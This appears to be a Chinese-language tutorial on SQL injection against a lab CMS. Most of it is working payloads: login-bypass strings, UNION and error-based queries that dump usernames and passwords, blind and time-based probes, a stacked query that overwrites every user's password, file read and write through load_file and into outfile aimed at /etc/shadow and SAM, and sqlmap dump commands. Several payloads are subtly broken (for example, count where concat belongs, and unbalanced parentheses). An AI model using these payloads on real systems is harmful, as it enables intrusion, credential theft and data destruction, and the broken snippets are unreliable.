SQL注入简介:
SQL注入漏洞是一种常见的网络安全漏洞,是由于攻击者向数据库发送恶意SQL查询,从而访问、修改或删除数据库中的数据,甚至完全控制数据库服务器。SQL注入漏洞通常出现在使用动态SQL查询的应用程序中,如Web应用程序,当用户的输入不经过适当的验证和过滤,直接嵌入到SQL查询中时,就可能导致这种漏洞的产生。
基本类型 | 基本手法 | 提交参数 | 注入点位置 |
---|---|---|---|
数字型 | 联合查询 | GET注入 | URL |
字符型 | 报错注入 | POST注入 | 搜索框 |
布尔盲注 | Cookie注入 | 留言板 | |
延时注入 | HTTP头注入 | 登录框 | |
堆叠注入 | |||
MySQL数据库中的系统库名&表名
information_schema 为系统自带数据库,元数据
table_schema 后面加 = ,表示数据库名
information_schema.table 系统数据库中储存表名的表
information_schema.columns 系统数据库中储存列名的表
数据库中的注释格式
MySQL | URL |
---|---|
减减空格 | --+ |
井号【#】 | %23 |
内联注释 /*!5000*/ |
注入点判断方法
步骤 | 测试数据 | 测试判断 |
1 | -1或+1 | 查看是否能够回显上一个或下一个页面 |
2 | ' 或 " | 查看是否回显错误信息,根据回显判断是数字型or字符型 |
3 | and1=1 and1=2 | 判断页面回显是否存在不同 |
4 | and sleep(5) | 判断页面返回时间 |
5 | \ | 判断转义 |
1.回显:
看数据库内容是否会回显(修改id后的数字)
http://110.110.110.110/cms/show.php?id=35
2.数据库报错:
数据库报错信息是否会回显在网页中
用于提交的是数字型还是字符型(数字型不需要引号闭合,字符型则需要引号闭合,添加引号会导致字符型出现多余引号报错内容与数字型不同)
http://110.110.110.110/cms/show.php?id=35'
3.布尔类型状态
显示的页面不同,形成对比
查看页面正常或者不正常
http://110.110.110.110/cms/show.php?id=35 and 1=1 页面正常
http://110.110.110.110/cms/show.php?id=35 and 1=2 页面不正常
4.延时
让数据库沉睡相应的秒数
http://110.110.110.110/cms/show.php?id=35 and sleep(5) 沉睡5秒,观察回显时间是否有明显停顿
万能用户名
以cms作为示例:
登陆php代码:
这句php语句输出sql语句wei:
select userid from cms_users where username = '' and password=''
可以看出是将username和passwd拼接验证,所以可以使用如下
用户名 | 密码 |
---|---|
admin’ or '1 | 随便 |
admin' xor '1 | 随便 |
admin' and 1# | 随便 |
zkzk‘ or 1# | 随便 |
zkzk' xor true# | 随便 |
PS: 以admin开头代表已知用户名,zkzk开头代表未知用户名
1)admin’ or '1:已知用户名为admin select userid from cms_users where username = ‘**admin’ or '1**’ and password=’********’ 解释: 这个语句username = ‘admin’为真, **'1**’ and password=’********’为假,一真一假用or连接结果为真所以可以成功登陆 2)admin' xor '1 :已知用户名为admin select userid from cms_users where username = ‘**admin' xor '1**’ and password=’********’ 解释: 这个语句username = ‘admin’为真, **'1**’ and password=’********’为假,一真一假异或输出为真 3)admin' and 1#:已知用户名为admin select userid from cms_users where username = ‘**admin' and 1#**’ and password=’********’ 解释: 这个语句username = ‘admin’为真, **'1**’ 后都被#注释,所以两个真and的结果也为真,所以可以登陆 4)zkzk‘ or 1#:未知用户名 select userid from cms_users where username = ‘**zkzk‘ or 1#**’ and password=’********’ 解释: 这个语句username = ‘zkzk’为假, **'1**’后都用#注释,一真一假用or连接结果为真所以可以成功登陆 5)zkzk' xor true# 解释: 效果同4),xor替换了or,true替换了1,1和true的布尔值都为1表示真
SQL注入基本手法
SQL注入的基本流程为:查询库名--->查询表名--->查询列名--->查询数据
1.联合查询
1.目标分析
?id=33 (+1,-1之类的尝试)
+'查看回显报错内容
2.判断列数
使用order by 判断,在15正常16不正常说明有15行
http://192.168.219.130/cms/show.php?id=33 order by 15 正常显示
http://192.168.219.130/cms/show.php?id=33 order by 16 报错
3.判断数据库的在网页显示的列
使用联合查询,将前面id部分输出为错,就会显示后半部分的输出
http://192.168.219.130/cms/show.php?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
4.查看敏感信息
4.1查看数据库(将有显示的数字位置替换为SQL指令)
http://192.168.219.130/cms/show.php?id=-33 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
4.2查看数据表(数据库信息都保存在information_schema数据库中)
http://192.168.219.130/cms/show.php?id=-33 union select 1,2,group hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
table_schema=database()的意思是筛选出table_schema(information_schema.tables中的一列)中和当前数据库名字相同的表
group_concat是一个函数,用于拼接将取出的数据拼接为一串逗号分隔的字符串
information_schema.tables表示information_schema中的tables表
4.3查看列名
http://192.168.219.130/cms/show.php?id=-33 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'
table_schema 表示数据库的名称
group_concat(column_name) 表示将列明拼接成逗号隔开的字符串
information_schema.columns 数据库表,用于存放列
table_schema=database() 表示取出table_schema中和当前数据库相同的列
and table_name='cms_users' 用于限制查询仅返回属于cms_users表的列
4.4查看用户名密码
http://192.168.219.130/cms/show.php?id=-33 union select 1,2,concat(username,';',password),4,5,6,7,8,9,10,11,12,13,14,15 from 'cms_users'
concat(username,';',password)的意思是指两个值连接在一起,形成一个字符串。
2.报错注入
原理就是在错误信息中执行SQL语句。
1.group by(适用于全部版本)
?id=33 and (select 1 from (select count(*),count(0x5e,(select databases()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
?id=33 and (select 1 from (select count(*),count(0x5e,(select password from cms_users limit0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
2.extractvalue(适用于5.0版本以上)
?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))
?id=33 and extractvalue(1,concat(0x5e,substr(select password,17,32),0x5e))
3.updatexml
?id=33 and updatexml(1,concat(0x5e,(select database(),0x5e),1) 查询数据库名
?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1) 查询数据库名称长度
?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e),1) 查询表名限制显示一个
?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 0,1),0x5e),1) 查询cms_user表中的列名,显示0,1位
?id=33 and updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1) 显示用户名
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16),0x5e),1) 查询密码前16位
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32),0x5e),1) 查询密码后16位
?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)
示例:
在错误中显示8
?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)
3.布尔盲注
根据布尔类型状态,对数据库中的内容进行判断
?id=2' and length(database())>0 --+ 测试数据库名长度是否大于1
?id=2' and length(database())=8 --+ 测试数据库名长度是否等于1
?id=2' and ascii(substr((select database()),1,1))=115 --+ 测试数据库名字的第一位的ascii码是否等于115
4.延时注入
?id=2' and if(length((select database()))=8,sleep(5),1) --+ 测试数据库名长度是否为8,是沉睡5秒,不是返回1
?id=2' and if(ascii(substr((select database()),3,1))=99,sleep(5),1) --+ 测试数据库的第三位字母的ascii码是不是99,是就沉睡5秒,不是就返回1
5.堆叠查询
?id=1';update users set password='123456';--+ 执行将所有用户的密码都修改为123456的命令
其他注入情况
1.宽字节注入
比如网站对特殊字符做了转义,可以使用宽字节注入
GBK编码【范围为8140-FEFE】可以在使用GBK编码的注入位置添加数字组成GBK编码,将转义变为其他字符
?id=1'
?id=1\' //服务器会自动添加转义符号
1\'的GBK编码为315c27
?id=1%81'
31 815c 27 服务器会将\识别为其他字符
2.cookie注入
在cookie输入代码
Cookie:unmae=Dumb' and 1=2 union select 1,version(),database()#
3.base64注入
注入参数需要进行base64编码
RHVtYiIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksZGF0YWJhc2UoKSM=
4.user-agent注入
在user-agent处输入代码
User-Agent:AJEST' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1 闭合使用注释无效,使用第二种方法,在后面闭合它
5.referer注入
在referer处输入代码
Referer:ZK' and updatexml (1,concat(0x5e,(select database()),0x5e),1) and '1
6.SQL 注入读写文件
读取文件
union select 1,2,load_file("c:\\windows\\system32\\drivers\\etc\\hosts") --+
写入文件
union select 1,2,3 into outfile "c:\\ajest.txt" --+
SQL 注入读写文件 前提条件
1.权限
?id=1' and 1=2 union select 1,user(),3 --+
root@localhost
union select 1,file_priv,3 from mysql.user where user='root' and host='localhost'
2.绝对路径
Web 应用在服务器上的绝对路径,一般情况下是不知道的。
系统敏感文件的路径是固定的。
windows敏感目录
SAM
c:\windows\system32\drivers\etc\hosts
liunx敏感目录
/etc/shadow
/etc/passwd
3.安全选项
secure_file_priv
secure_file_priv=null 不允许导入导出操作
secure_file_priv='c:\phpstudy_2016\' 导入导出操作,只允许在此目录及其子目录下完成,
secure_file_priv= 不对导入导出操作做限制。
my.ini(在phpstudy中的配置文件打开mysql.in,打开就会变成my.in)
sqlmap工具
获得账户密码
sqlmap -u "http://192.168.219.130/cms/show.php?id=35" -D "cms" -T "cms_users" -C "username,password" --dump
sqlmap -u "http://192.168.219.153:8000/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]"
sqlmap一些简单参数:
-u 指定URL
-d 连接数据库
--dbs 列出所有的数据库
-D 选择使用哪个数据库
--current-db 列出当前数据库
--current-user 列出当前数据库用户的名字
--tables 列出当前数据库中所有的表名
-T 选择使用哪个表
--columns 列出所有的字段名
-C 选择使用哪个列
--dump 列出字段内容